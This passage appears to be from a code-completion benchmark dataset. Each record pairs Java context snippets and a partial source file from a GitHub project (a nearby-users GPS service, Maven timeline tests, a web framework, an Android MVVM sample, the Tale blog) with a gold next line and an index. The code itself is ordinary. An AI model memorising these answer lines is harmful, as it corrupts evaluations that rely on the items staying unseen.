package com.andieguo.nearby.service; public class Service { public void saveOrUpdateGPS(GPS gps) throws SQLException { GpsDao dao = new GpsDao(); GPS gpsinfo = dao.findGPS(gps.getUser().getId()); if (gpsinfo == null) { dao.saveGPS(gps); } else { dao.updateGPS(gps); } } public List<NearbyInfo> findNearByGeoHash(String userId){ return null; } /** * 内部使用GeoHash区域查询,并对查询到的区域用户进行测距 * @param userId * @param longitude * @param latitude * @return * @throws SQLException */ public List<NearbyInfo> findList(String userId, String longitude, String latitude) throws SQLException { GpsDao dao = new GpsDao(); List<NearbyInfo> list = new ArrayList<NearbyInfo>(); for (NearbyInfo info : dao.findGPSListByGeoHash(userId)) { if (!info.getUser_id().equals(userId)) { Double d = GPSUtil.computeDistance(Double.valueOf(latitude), Double.valueOf(longitude), Double.valueOf(info.getLatitude()), Double.valueOf(info.getLongitude())); info.setDistance(d.intValue() + "米"); if (d < 5000) { list.add(info); } } } return list; } public void saveOrUpdateUser(UserInfo user) throws SQLException {
UserDao dao = new UserDao();
3
lkoskela/maven-build-utils
src/test/java/com/lassekoskela/maven/timeline/GoalOrganizerTest.java
[ "public static final int COLUMN_WIDTH_PIXEL = 60;", "public static Goal goal(String name, long duration, long startTime, String... dependencies) {\n\treturn new Goal(name, new Duration(duration), startTime, asList(dependencies));\n}", "public static Phase phase(String name, Goal... goals) {\n\treturn new Phase(name, asList(goals));\n}", "public static Project project(String name, Phase... phases) {\n\treturn new Project(name, asList(phases));\n}", "public class Goal extends MavenItem {\n\n\tprivate final long startTimeInMs;\n\tprivate final List<String> dependencies;\n\tprivate Duration duration;\n\n\tpublic Goal(String name, Duration duration, long startTimeInMs, List<String> dependencies) {\n\t\tsuper(name);\n\t\tthis.duration = duration;\n\t\tthis.startTimeInMs = startTimeInMs;\n\t\tthis.dependencies = new ArrayList<String>(dependencies);\n\t}\n\n\tpublic long getStartTimeInMs() {\n\t\treturn startTimeInMs;\n\t}\n\n\tpublic Duration getDuration() {\n\t\treturn duration;\n\t}\n\n\tpublic void setDuration(Duration duration) {\n\t\tthis.duration = duration;\n\t}\n\n\tpublic List<String> getDependencies() {\n\t\treturn dependencies;\n\t}\n\n\tpublic String serializeDependencies() {\n\t\treturn Joiner.on(' ').join(dependencies);\n\t}\n\n\tpublic long getCompletedTimeInMs() {\n\t\treturn startTimeInMs + getDuration().inMillis();\n\t}\n\n\t@Override\n\tpublic final int hashCode() {\n\t\treturn Objects.hashCode(super.hashCode(), duration, startTimeInMs, dependencies);\n\t}\n\n\t@Override\n\tpublic final boolean equals(Object object) {\n\t\tif (object instanceof Goal) {\n\t\t\tGoal that = (Goal) object;\n\t\t\treturn super.equals(object) && Objects.equal(this.duration, that.duration)\n\t\t\t\t\t&& Objects.equal(this.startTimeInMs, that.startTimeInMs)\n\t\t\t\t\t&& Objects.equal(this.dependencies, that.dependencies);\n\t\t}\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic ToStringHelper toStringHelper() {\n\t\treturn super.toStringHelper().add(\"duration\", duration).add(\"startTimeInMs\", startTimeInMs)\n\t\t\t\t.add(\"dependencies\", dependencies);\n\t}\n}", "public class Timeline {\n\n\tprivate final Iterable<Project> projects;\n\n\tpublic Timeline(Iterable<Project> projects) {\n\t\tthis.projects = projects;\n\t}\n\n\tpublic Iterable<Project> getProjects() {\n\t\treturn projects;\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\treturn Objects.hashCode(projects);\n\t}\n\n\t@Override\n\tpublic boolean equals(Object object) {\n\t\tif (object instanceof Timeline) {\n\t\t\tTimeline that = (Timeline) object;\n\t\t\treturn Objects.equal(this.projects, that.projects);\n\t\t}\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn Objects.toStringHelper(this).add(\"projects\", projects).toString();\n\t}\n}", "@VisibleForTesting\nstatic class Columns {\n\n\tprivate TreeMultiset<Column> columns;\n\n\t@VisibleForTesting\n\tColumns() {\n\t\tcolumns = TreeMultiset.create();\n\t\tcolumns.add(newColumn());\n\t}\n\n\tprivate Column newColumn() {\n\t\treturn new Column(columns.size());\n\t}\n\n\tpublic int addGoal(Goal goal) {\n\t\tColumn column = selectColumn(goal);\n\t\taddGoalToColumn(goal, column);\n\t\treturn column.index;\n\t}\n\n\tprivate Column selectColumn(Goal goal) {\n\t\tColumn earliestEndingColumn = columns.firstEntry().getElement();\n\t\tif (earliestEndingColumn.goalFits(goal)) {\n\t\t\treturn columns.pollFirstEntry().getElement();\n\t\t}\n\t\treturn newColumn();\n\t}\n\n\tprivate void addGoalToColumn(Goal goal, Column column) {\n\t\tcolumn.addGoal(goal);\n\t\tcolumns.add(column);\n\t}\n}", "public static class DisplayableGoal {\n\n\tprivate final String projectId;\n\tprivate final String phaseId;\n\tprivate final String goalId;\n\tprivate final String dependencies;\n\tprivate final long leftPosition;\n\tprivate final long topPosition;\n\tprivate final long heightPosition;\n\n\t@VisibleForTesting\n\tDisplayableGoal(String projectId, String phaseId, String goalId, String dependencies, long leftPosition,\n\t\t\tlong topPosition, long heightPosition) {\n\n\t\tthis.projectId = projectId;\n\t\tthis.phaseId = phaseId;\n\t\tthis.goalId = goalId;\n\t\tthis.dependencies = dependencies;\n\t\tthis.leftPosition = leftPosition;\n\t\tthis.topPosition = topPosition;\n\t\tthis.heightPosition = heightPosition;\n\t}\n\n\tpublic String getProjectId() {\n\t\treturn projectId;\n\t}\n\n\tpublic String getPhaseId() {\n\t\treturn phaseId;\n\t}\n\n\tpublic String getGoalId() {\n\t\treturn goalId;\n\t}\n\n\tpublic String getDependencies() {\n\t\treturn dependencies;\n\t}\n\n\tpublic long getLeftPosition() {\n\t\treturn leftPosition;\n\t}\n\n\tpublic long getTopPosition() {\n\t\treturn topPosition;\n\t}\n\n\tpublic long getHeightPosition() {\n\t\treturn heightPosition;\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\treturn Objects\n\t\t\t\t.hashCode(projectId, phaseId, goalId, dependencies, leftPosition, topPosition, heightPosition);\n\t}\n\n\t@Override\n\tpublic boolean equals(Object object) {\n\t\tif (object instanceof DisplayableGoal) {\n\t\t\tDisplayableGoal that = (DisplayableGoal) object;\n\t\t\treturn Objects.equal(this.projectId, that.projectId) && Objects.equal(this.phaseId, that.phaseId)\n\t\t\t\t\t&& Objects.equal(this.goalId, that.goalId)\n\t\t\t\t\t&& Objects.equal(this.dependencies, that.dependencies)\n\t\t\t\t\t&& Objects.equal(this.leftPosition, that.leftPosition)\n\t\t\t\t\t&& Objects.equal(this.topPosition, that.topPosition)\n\t\t\t\t\t&& Objects.equal(this.heightPosition, that.heightPosition);\n\t\t}\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn Objects.toStringHelper(this).add(\"projectId\", projectId).add(\"phaseId\", phaseId)\n\t\t\t\t.add(\"goalId\", goalId).add(\"dependencies\", dependencies).add(\"leftPosition\", leftPosition)\n\t\t\t\t.add(\"topPosition\", topPosition).add(\"heightPosition\", heightPosition).toString();\n\t}\n}", "@VisibleForTesting\nstatic class SortedGoal {\n\n\tprivate final Project project;\n\tprivate final Phase phase;\n\tfinal Goal goal;\n\n\t@VisibleForTesting\n\tSortedGoal(Project project, Phase phase, Goal goal) {\n\t\tthis.project = project;\n\t\tthis.phase = phase;\n\t\tthis.goal = goal;\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\treturn Objects.hashCode(project, phase, goal);\n\t}\n\n\t@Override\n\tpublic boolean equals(Object object) {\n\t\tif (object instanceof SortedGoal) {\n\t\t\tSortedGoal that = (SortedGoal) object;\n\t\t\treturn Objects.equal(this.project, that.project) && Objects.equal(this.phase, that.phase)\n\t\t\t\t\t&& Objects.equal(this.goal, that.goal);\n\t\t}\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn Objects.toStringHelper(this).add(\"project\", project).add(\"phase\", phase).add(\"goal\", goal)\n\t\t\t\t.toString();\n\t}\n}" ]
import static com.lassekoskela.maven.timeline.GoalOrganizer.COLUMN_WIDTH_PIXEL; import static com.lassekoskela.maven.timeline.ObjectBuilder.goal; import static com.lassekoskela.maven.timeline.ObjectBuilder.phase; import static com.lassekoskela.maven.timeline.ObjectBuilder.project; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.contains; import static org.hamcrest.Matchers.is; import org.codehaus.plexus.logging.console.ConsoleLogger; import org.junit.Before; import org.junit.Test; import com.google.common.collect.ImmutableSet; import com.lassekoskela.maven.bean.Goal; import com.lassekoskela.maven.bean.Timeline; import com.lassekoskela.maven.timeline.GoalOrganizer.Columns; import com.lassekoskela.maven.timeline.GoalOrganizer.DisplayableGoal; import com.lassekoskela.maven.timeline.GoalOrganizer.SortedGoal;
package com.lassekoskela.maven.timeline; public class GoalOrganizerTest { private ConsoleLogger logger; private GoalOrganizer goalOrganizer; @Before public void setUp() { logger = new ConsoleLogger(); goalOrganizer = new GoalOrganizer(logger); } @Test(expected = IllegalArgumentException.class) public void leftPositionForColumnWithNegativeNumberShouldRaiseAnException() { goalOrganizer.leftPositionForColumn(-1); } @Test public void leftPositionForFirstColumnIsZero() { assertThat(goalOrganizer.leftPositionForColumn(0), is(0)); } @Test public void leftPositionForSubsequentColumnsAreMultipliedByColumnWidth() {
assertThat(goalOrganizer.leftPositionForColumn(1), is(COLUMN_WIDTH_PIXEL));
0
caoyj1991/Core-Java
framework/src/main/java/com/framework/webdevelop/annotation/FrameworkAnnotationResolver.java
[ "public class AnnotationClazz {\n\n private String clazzName;\n private String methodName;\n private Set<String> implementSet;\n private String parentClassName;\n\n public void setClazzName(String clazzName){\n this.clazzName = clazzName;\n }\n public String getClazzName(){\n return this.clazzName;\n }\n\n public void setMethodName(String methodName){\n this.methodName = methodName;\n }\n public String getMethodName(){\n return methodName;\n }\n\n public Set<String> getImplementSet() {\n return implementSet;\n }\n\n public void setImplementSet(Set<String> implementSet) {\n this.implementSet = implementSet;\n }\n\n public String getParentClassName() {\n return parentClassName;\n }\n\n public void setParentClassName(String parentClassName) {\n this.parentClassName = parentClassName;\n }\n\n public static AnnotationClazzBuilder builder(){\n return new AnnotationClazzBuilder();\n }\n\n public static class AnnotationClazzBuilder{\n private String clazzName;\n private String methodName;\n private Set<String> implementSet;\n private String parentClassName;\n\n public AnnotationClazzBuilder(){}\n\n public AnnotationClazzBuilder clazzName(String clazzName){\n this.clazzName = clazzName;\n return this;\n }\n\n public AnnotationClazzBuilder methodName(String methodName){\n this.methodName = methodName;\n return this;\n }\n\n public AnnotationClazzBuilder implementValue(Class[] interfaces){\n implementSet = new HashSet<>();\n if(interfaces!=null && interfaces.length>0){\n for (int i=0;i<interfaces.length;i++){\n implementSet.add(interfaces[i].getName());\n }\n }\n return this;\n }\n\n public AnnotationClazzBuilder parentClassName(String parentClassName){\n this.parentClassName = parentClassName;\n return this;\n }\n\n public AnnotationClazz build(){\n AnnotationClazz annotationClazz = new AnnotationClazz();\n annotationClazz.setClazzName(this.clazzName);\n annotationClazz.setMethodName(this.methodName);\n annotationClazz.setImplementSet(this.implementSet);\n annotationClazz.setParentClassName(this.parentClassName);\n return annotationClazz;\n }\n }\n}", "public class AnnotationField {\n private String variableClassName;\n private String variableName;\n private String belongClassName;\n\n public String getBelongClassName() {\n return belongClassName;\n }\n public void setBelongClassName(String belongClassName) {\n this.belongClassName = belongClassName;\n }\n\n public String getVariableClassName() {\n return variableClassName;\n }\n public void setVariableClassName(String variableClassName) {\n this.variableClassName = variableClassName;\n }\n\n public String getVariableName() {\n return variableName;\n }\n public void setVariableName(String variableName) {\n this.variableName = variableName;\n }\n\n public static BeanBuilder builder(){\n return new BeanBuilder();\n }\n\n public static class BeanBuilder{\n private String variableClassName;\n private String variableName;\n private String belongClassName;\n\n public BeanBuilder variableClassName(String variableClassName){\n this.variableClassName = variableClassName;\n return this;\n }\n public BeanBuilder variableName(String variableName){\n this.variableName = variableName;\n return this;\n }\n public BeanBuilder belongClassName(String belongClassName){\n this.belongClassName = belongClassName;\n return this;\n }\n\n public AnnotationField build(){\n AnnotationField annotationField = new AnnotationField();\n annotationField.setBelongClassName(this.belongClassName);\n annotationField.setVariableClassName(this.variableClassName);\n annotationField.setVariableName(this.variableName);\n return annotationField;\n }\n }\n}", "public enum AnnotationObjectType {\n URL,\n FILTER,\n CONTROLLER,\n BEAN,\n FIELD\n}", "public class PackageScanner {\n\n\n\n public List<String> getClassNames(String ...paths){\n List<String> fileNames = scan(paths);\n List<String> clazzNames = new ArrayList<>();\n if(fileNames!=null && fileNames.size()>0){\n String projectPath = getClass().getResource(\"/\").getPath();\n for (int i=0;i<fileNames.size();i++){\n clazzNames.add(fileNames.get(i).replace(projectPath,\"\").replace(\"/\",\".\").replace(\".class\",\"\"));\n }\n }\n return clazzNames;\n }\n\n public List<String> scan(String ...paths){\n List<String> fileNames = new ArrayList<>();\n if(paths == null || paths.length <= 0){\n return Collections.emptyList();\n }\n for(int i=0;i<paths.length;i++){\n try {\n String item = paths[i].replace(\".\",\"/\");\n Enumeration<URL> enumeration =Thread.currentThread().getContextClassLoader().getResources(item);\n while (enumeration.hasMoreElements()){\n URL url = enumeration.nextElement();\n if(url.getProtocol().equals(\"file\")) {\n fileScanner(url.getPath(), fileNames);\n }\n }\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n return fileNames;\n }\n\n private List<String> fileScanner(String path, List<String> fileNames){\n File file = new File(path);\n if(!file.exists()){\n return fileNames;\n }\n if(file.isDirectory()){\n File[] dirFiles = file.listFiles();\n for (int i=0;i<dirFiles.length;i++){\n fileScanner(dirFiles[i].getAbsolutePath(), fileNames);\n }\n }else if(file.isFile()){\n fileNames.add(file.getAbsolutePath());\n }\n return fileNames;\n }\n\n public static void main(String[] args){\n new PackageScanner().getClassNames(\"com.network\");\n }\n}", "public class HttpMethod {\n\n public enum Type{\n GET,\n POST,\n PUT,\n DELETE;\n }\n\n public static Type resolver(String methodWord){\n switch (methodWord){\n case \"GET\":\n return Type.GET;\n case \"POST\":\n return Type.POST;\n case \"PUT\":\n return Type.PUT;\n case \"DELETE\":\n return Type.DELETE;\n default:\n throw new UnsupportedOperationException(\"do not support it method type is :\"+methodWord);\n }\n }\n}" ]
import com.framework.webdevelop.annotation.entity.AnnotationClazz; import com.framework.webdevelop.annotation.entity.AnnotationField; import com.framework.webdevelop.annotation.entity.AnnotationObjectType; import com.framework.webdevelop.scanner.PackageScanner; import com.network.protocol.http.HttpMethod; import java.lang.annotation.Annotation; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*;
package com.framework.webdevelop.annotation; /** * Author Jun * Email * Date 6/25/17 * Time 3:10 PM */ public class FrameworkAnnotationResolver<T> { private static volatile FrameworkAnnotationResolver instance = null; private static Map<AnnotationObjectType, Object> annotationObjectMap; public FrameworkAnnotationResolver(){ annotationObjectMap = new HashMap<>(); } public static FrameworkAnnotationResolver getInstance(){ if(instance == null){ synchronized (FrameworkAnnotationResolver.class){ if(instance == null){ instance = new FrameworkAnnotationResolver(); } } } return instance; } public AnnotationClazz findAnnotationClazz(String uri, HttpMethod.Type type){ String URI = getURIKey(type, uri); Map<String, AnnotationClazz> urlMap = (Map<String, AnnotationClazz>) annotationObjectMap.get(AnnotationObjectType.URL); if(urlMap == null || urlMap.isEmpty()){ return null; } return urlMap.get(URI); } public List<AnnotationClazz> findBean(AnnotationObjectType...types){ List<AnnotationClazz> list = new ArrayList<>(); for (int i=0;i<types.length;i++){ list.addAll((List<AnnotationClazz>)getBeanFactory(types[i])); } return list; }
public List<AnnotationField> findField(AnnotationObjectType...types){
1
hiBrianLee/AndroidMvvm
sample/src/main/java/com/hibrianlee/sample/mvvm/adapter/AndroidVersionsAdapter.java
[ "public abstract class RecyclerViewAdapter<ITEM_T, VIEW_MODEL_T extends ItemViewModel<ITEM_T>>\n extends RecyclerView.Adapter<RecyclerViewAdapter.ItemViewHolder<ITEM_T, VIEW_MODEL_T>> {\n\n protected final ArrayList<ITEM_T> items;\n\n private final ActivityComponent activityComponent;\n\n public RecyclerViewAdapter(@NonNull ActivityComponent activityComponent) {\n this.activityComponent = activityComponent;\n items = new ArrayList<>();\n }\n\n @Override\n public final void onBindViewHolder(ItemViewHolder<ITEM_T, VIEW_MODEL_T> holder, int position) {\n holder.setItem(items.get(position));\n }\n\n @Override\n public int getItemCount() {\n return items.size();\n }\n\n protected final ActivityComponent getActivityComponent() {\n return activityComponent;\n }\n\n public static class ItemViewHolder<T, VT extends ItemViewModel<T>>\n extends RecyclerView.ViewHolder {\n\n protected final VT viewModel;\n private final ViewDataBinding binding;\n\n public ItemViewHolder(View itemView, ViewDataBinding binding, VT viewModel) {\n super(itemView);\n this.binding = binding;\n this.viewModel = viewModel;\n }\n\n void setItem(T item) {\n viewModel.setItem(item);\n binding.executePendingBindings();\n }\n }\n}", "@PerActivity\n@Component(\n dependencies = AppComponent.class,\n modules = {ActivityModule.class})\npublic interface ActivityComponent {\n\n void inject(ViewModel viewModel);\n}", "public class AndroidVersion implements Parcelable {\n\n private final String codeName;\n private final String version;\n private boolean selected;\n\n public AndroidVersion(String codeName, String version) {\n this.codeName = codeName;\n this.version = version;\n }\n\n public AndroidVersion(Parcel in) {\n codeName = in.readString();\n version = in.readString();\n selected = in.readInt() == 1;\n }\n\n @Override\n public int describeContents() {\n return 0;\n }\n\n @Override\n public void writeToParcel(Parcel dest, int flags) {\n dest.writeString(codeName);\n dest.writeString(version);\n dest.writeInt(selected ? 1 : 0);\n }\n\n public String getCodeName() {\n return codeName;\n }\n\n public String getVersion() {\n return version;\n }\n\n public boolean isSelected() {\n return selected;\n }\n\n public void toggleSelected() {\n selected = !selected;\n }\n\n @Override\n public boolean equals(Object o) {\n if (this == o) return true;\n if (o == null || getClass() != o.getClass()) return false;\n\n AndroidVersion that = (AndroidVersion) o;\n\n if (selected != that.selected) return false;\n if (codeName != null ? !codeName.equals(that.codeName) : that.codeName != null)\n return false;\n return !(version != null ? !version.equals(that.version) : that.version != null);\n\n }\n\n @Override\n public int hashCode() {\n int result = codeName != null ? codeName.hashCode() : 0;\n result = 31 * result + (version != null ? version.hashCode() : 0);\n result = 31 * result + (selected ? 1 : 0);\n return result;\n }\n\n public static Creator<AndroidVersion> CREATOR = new Creator<AndroidVersion>() {\n @Override\n public AndroidVersion createFromParcel(Parcel source) {\n return new AndroidVersion(source);\n }\n\n @Override\n public AndroidVersion[] newArray(int size) {\n return new AndroidVersion[size];\n }\n };\n}", "public class AndroidVersionItemViewModel extends ItemViewModel<AndroidVersion> {\n\n private AndroidVersion androidVersion;\n\n AndroidVersionItemViewModel(@NonNull ActivityComponent activityComponent) {\n super(activityComponent);\n }\n\n @Override\n public void setItem(AndroidVersion item) {\n androidVersion = item;\n notifyChange();\n }\n\n public void onClick() {\n androidVersion.toggleSelected();\n notifyPropertyChanged(BR.selected);\n }\n\n @Bindable\n public String getVersion() {\n return androidVersion.getVersion();\n }\n\n @Bindable\n public String getCodeName() {\n return androidVersion.getCodeName();\n }\n\n @Bindable\n public boolean getSelected() {\n return androidVersion.isSelected();\n }\n}", "public interface ViewModelFactory {\n\n @NonNull\n MainViewModel createMainViewModel(@NonNull ActivityComponent activityComponent,\n @Nullable ViewModel.State savedViewModelState);\n @NonNull\n ClickCountViewModel createClickCountViewModel(@NonNull ActivityComponent activityComponent,\n @Nullable ViewModel.State savedViewModelState);\n\n @NonNull\n AndroidVersionsViewModel createAndroidVersionsViewModel(\n @NonNull AndroidVersionsAdapter adapter,\n @NonNull ActivityComponent activityComponent,\n @Nullable ViewModel.State savedViewModelState);\n\n @NonNull\n AndroidVersionItemViewModel createAndroidVersionItemViewModel(\n @NonNull ActivityComponent activityComponent);\n}" ]
import java.util.ArrayList; import butterknife.ButterKnife; import butterknife.OnClick; import android.databinding.ViewDataBinding; import android.support.annotation.NonNull; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import com.hibrianlee.mvvmapp.adapter.RecyclerViewAdapter; import com.hibrianlee.mvvmapp.inject.ActivityComponent; import com.hibrianlee.sample.mvvm.R; import com.hibrianlee.sample.mvvm.databinding.ItemAndroidVersionBinding; import com.hibrianlee.sample.mvvm.model.AndroidVersion; import com.hibrianlee.sample.mvvm.viewmodel.AndroidVersionItemViewModel; import com.hibrianlee.sample.mvvm.viewmodel.ViewModelFactory;
/* * Copyright (C) 2015 Brian Lee (@hiBrianLee) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.hibrianlee.sample.mvvm.adapter; public class AndroidVersionsAdapter extends RecyclerViewAdapter<AndroidVersion, AndroidVersionItemViewModel> {
private final ViewModelFactory viewModelFactory;
4
otale/tale
src/main/java/com/tale/extension/Theme.java
[ "public class TaleConst {\n\n public static final String CLASSPATH = new File(AdminApiController.class.getResource(\"/\").getPath()).getPath() + File.separatorChar;\n\n public static final String REMEMBER_IN_COOKIE = \"remember_me\";\n public static final String LOGIN_ERROR_COUNT = \"login_error_count\";\n public static String LOGIN_SESSION_KEY = \"login_user\";\n public static String REMEMBER_TOKEN = \"\";\n public static Environment OPTIONS = Environment.of(new HashMap<>());\n public static Boolean INSTALLED = false;\n public static Boolean ENABLED_CDN = true;\n public static Environment BCONF = null;\n\n /**\n * 最大页码\n */\n public static final int MAX_PAGE = 100;\n\n /**\n * 最大获取文章条数\n */\n public static final int MAX_POSTS = 9999;\n\n /**\n * 文章最多可以输入的文字数\n */\n public static final int MAX_TEXT_COUNT = 200000;\n\n /**\n * 文章标题最多可以输入的文字个数\n */\n public static final int MAX_TITLE_COUNT = 200;\n\n /**\n * 插件菜单\n */\n public static final List<PluginMenu> PLUGIN_MENUS = new ArrayList<>();\n\n /**\n * 上传文件最大20M\n */\n public static Integer MAX_FILE_SIZE = 204800;\n\n /**\n * 要过滤的ip列表\n */\n public static final Set<String> BLOCK_IPS = new HashSet<>(16);\n\n public static final String SLUG_HOME = \"/\";\n public static final String SLUG_ARCHIVES = \"archives\";\n public static final String SLUG_CATEGRORIES = \"categories\";\n public static final String SLUG_TAGS = \"tags\";\n\n /**\n * 静态资源URI\n */\n public static final String STATIC_URI = \"/static\";\n\n /**\n * 安装页面URI\n */\n public static final String INSTALL_URI = \"/install\";\n\n /**\n * 后台URI前缀\n */\n public static final String ADMIN_URI = \"/admin\";\n\n /**\n * 后台登录地址\n */\n public static final String LOGIN_URI = \"/admin/login\";\n\n /**\n * 插件菜单 Attribute Name\n */\n public static final String PLUGINS_MENU_NAME = \"plugin_menus\";\n\n public static final String ENV_SUPPORT_163_MUSIC = \"app.support_163_music\";\n public static final String ENV_SUPPORT_GIST = \"app.support_gist\";\n public static final String MP3_PREFIX = \"[mp3:\";\n public static final String MUSIC_IFRAME = \"<iframe frameborder=\\\"no\\\" border=\\\"0\\\" marginwidth=\\\"0\\\" marginheight=\\\"0\\\" width=350 height=106 src=\\\"//music.163.com/outchain/player?type=2&id=$1&auto=0&height=88\\\"></iframe>\";\n public static final String MUSIC_REG_PATTERN = \"\\\\[mp3:(\\\\d+)\\\\]\";\n public static final String GIST_PREFIX_URL = \"https://gist.github.com/\";\n public static final String GIST_REG_PATTERN = \"&lt;script src=\\\"https://gist.github.com/(\\\\w+)/(\\\\w+)\\\\.js\\\">&lt;/script>\";\n public static final String GIST_REPLATE_PATTERN = \"<script src=\\\"https://gist.github.com/$1/$2\\\\.js\\\"></script>\";\n\n\n public static final String SQL_QUERY_METAS = \"select a.*, count(b.cid) as count from t_metas a left join `t_relationships` b on a.mid = b.mid \" +\n \"where a.type = ? and a.name = ? group by a.mid\";\n\n public static final String SQL_QUERY_ARTICLES = \"select a.* from t_contents a left join t_relationships b on a.cid = b.cid \" +\n \"where b.mid = ? and a.status = 'publish' and a.type = 'post' order by a.created desc\";\n\n public static final String COMMENT_APPROVED = \"approved\";\n public static final String COMMENT_NO_AUDIT = \"no_audit\";\n\n public static final String OPTION_CDN_URL = \"cdn_url\";\n public static final String OPTION_SITE_THEME = \"site_theme\";\n public static final String OPTION_ALLOW_INSTALL = \"allow_install\";\n public static final String OPTION_ALLOW_COMMENT_AUDIT = \"allow_comment_audit\";\n public static final String OPTION_ALLOW_CLOUD_CDN = \"allow_cloud_CDN\";\n public static final String OPTION_SAFE_REMEMBER_ME = \"safe_remember_me\";\n\n}", "@Data\n@ToString(callSuper = true)\n@EqualsAndHashCode(callSuper = true)\npublic class Comment extends Comments {\n\n private int levels;\n private List<Comments> children;\n\n public Comment(Comments comments) {\n setAuthor(comments.getAuthor());\n setMail(comments.getMail());\n setCoid(comments.getCoid());\n setAuthorId(comments.getAuthorId());\n setUrl(comments.getUrl());\n setCreated(comments.getCreated());\n setAgent(comments.getAgent());\n setIp(comments.getIp());\n setContent(comments.getContent());\n setOwnerId(comments.getOwnerId());\n setCid(comments.getCid());\n }\n\n}", "public interface Types {\n\n String TAG = \"tag\";\n String CATEGORY = \"category\";\n String ARTICLE = \"post\";\n String PUBLISH = \"publish\";\n String PAGE = \"page\";\n String DRAFT = \"draft\";\n String IMAGE = \"image\";\n String FILE = \"file\";\n String COMMENTS_FREQUENCY = \"comments:frequency\";\n\n String RECENT_ARTICLE = \"recent_article\";\n String RANDOM_ARTICLE = \"random_article\";\n\n String RECENT_META = \"recent_meta\";\n String RANDOM_META = \"random_meta\";\n\n String SYS_STATISTICS = \"sys:statistics\";\n\n String NEXT = \"next\";\n String PREV = \"prev\";\n\n /**\n * 附件存放的URL,默认为网站地址,如集成第三方则为第三方CDN域名\n */\n String ATTACH_URL = \"attach_url\";\n String CDN_URL = \"cdn_url\";\n\n /**\n * 网站要过滤,禁止访问的ip列表\n */\n String BLOCK_IPS = \"site_block_ips\";\n\n}", "@Data\n@Table(name = \"t_comments\", pk = \"coid\")\npublic class Comments extends Model {\n\n // comment表主键\n private Integer coid;\n\n // post表主键,关联字段\n private Integer cid;\n\n // 评论生成时的GMT unix时间戳\n private Integer created;\n\n // 评论作者\n private String author;\n\n // 评论所属用户id\n private Integer authorId;\n\n // 评论所属内容作者id\n private Integer ownerId;\n\n // 评论者邮件\n private String mail;\n\n // 评论者网址\n private String url;\n\n // 评论者ip地址\n private String ip;\n\n // 评论者客户端\n private String agent;\n\n // 评论内容\n private String content;\n\n // 评论类型\n private String type;\n\n // 评论状态\n private String status;\n\n // 父级评论\n private Integer parent;\n\n}", "@Data\n@Table(name = \"t_contents\", pk = \"cid\")\npublic class Contents extends Model {\n\n /**\n * 文章表主键\n */\n private Integer cid;\n\n /**\n * 文章标题\n */\n private String title;\n\n /**\n * 文章缩略名\n */\n private String slug;\n\n /**\n * 文章创建时间戳\n */\n private Integer created;\n\n /**\n * 文章修改时间戳\n */\n private Integer modified;\n\n /**\n * 文章内容\n */\n private String content;\n\n /**\n * 文章创建用户\n */\n private Integer authorId;\n\n /**\n * 文章点击次数\n */\n private Integer hits;\n\n /**\n * 文章类型: PAGE、POST\n */\n private String type;\n\n /**\n * 内容类型,markdown或者html\n */\n private String fmtType;\n\n /**\n * 文章缩略图\n */\n private String thumbImg;\n\n /**\n * 标签列表\n */\n private String tags;\n\n /**\n * 分类列表\n */\n private String categories;\n\n /**\n * 内容状态\n */\n private String status;\n\n /**\n * 内容所属评论数\n */\n private Integer commentsNum;\n\n /**\n * 是否允许评论\n */\n private Boolean allowComment;\n\n /**\n * 是否允许ping\n */\n private Boolean allowPing;\n\n /**\n * 允许出现在Feed中\n */\n private Boolean allowFeed;\n\n @Ignore\n private String url;\n}", "@Data\n@Table(name = \"t_metas\", pk = \"mid\")\npublic class Metas extends Model {\n\n /**\n * 项目主键\n */\n private Integer mid;\n\n /**\n * 项目名称\n */\n private String name;\n\n /**\n * 项目缩略名\n */\n private String slug;\n\n /**\n * 项目类型\n */\n private String type;\n\n /**\n * 项目描述\n */\n private String description;\n\n /**\n * 项目排序\n */\n private Integer sort;\n\n /**\n * 父级\n */\n private Integer parent;\n\n /**\n * 项目下文章数\n */\n @Ignore\n private Integer count;\n\n}", "@Bean\npublic class SiteService {\n\n @Inject\n private CommentsService commentsService;\n\n public MapCache mapCache = new MapCache();\n\n /**\n * 初始化站点\n *\n * @param users 用户\n */\n public void initSite(Users users) {\n String pwd = EncryptKit.md5(users.getUsername() + users.getPassword());\n users.setPassword(pwd);\n users.setScreenName(users.getUsername());\n users.setCreated(DateKit.nowUnix());\n Integer uid = users.save().asInt();\n\n try {\n String cp = SiteService.class.getClassLoader().getResource(\"\").getPath();\n File lock = new File(cp + \"install.lock\");\n lock.createNewFile();\n TaleConst.INSTALLED = Boolean.TRUE;\n new Logs(\"初始化站点\", null, \"\", uid).save();\n } catch (Exception e) {\n throw new ValidatorException(\"初始化站点失败\");\n }\n }\n\n /**\n * 最新收到的评论\n *\n * @param limit 评论数\n */\n public List<Comments> recentComments(int limit) {\n if (limit < 0 || limit > 10) {\n limit = 10;\n }\n\n Page<Comments> commentsPage = select().from(Comments.class)\n .where(Comments::getStatus, COMMENT_APPROVED)\n .order(Comments::getCreated, OrderBy.DESC)\n .page(1, limit);\n return commentsPage.getRows();\n }\n\n /**\n * 根据类型获取文章列表\n *\n * @param type 最新,随机\n * @param limit 获取条数\n */\n public List<Contents> getContens(String type, int limit) {\n\n if (limit < 0 || limit > 20) {\n limit = 10;\n }\n\n // 最新文章\n if (Types.RECENT_ARTICLE.equals(type)) {\n Page<Contents> contentsPage = select().from(Contents.class)\n .where(Contents::getStatus, Types.PUBLISH)\n .and(Contents::getType, Types.ARTICLE)\n 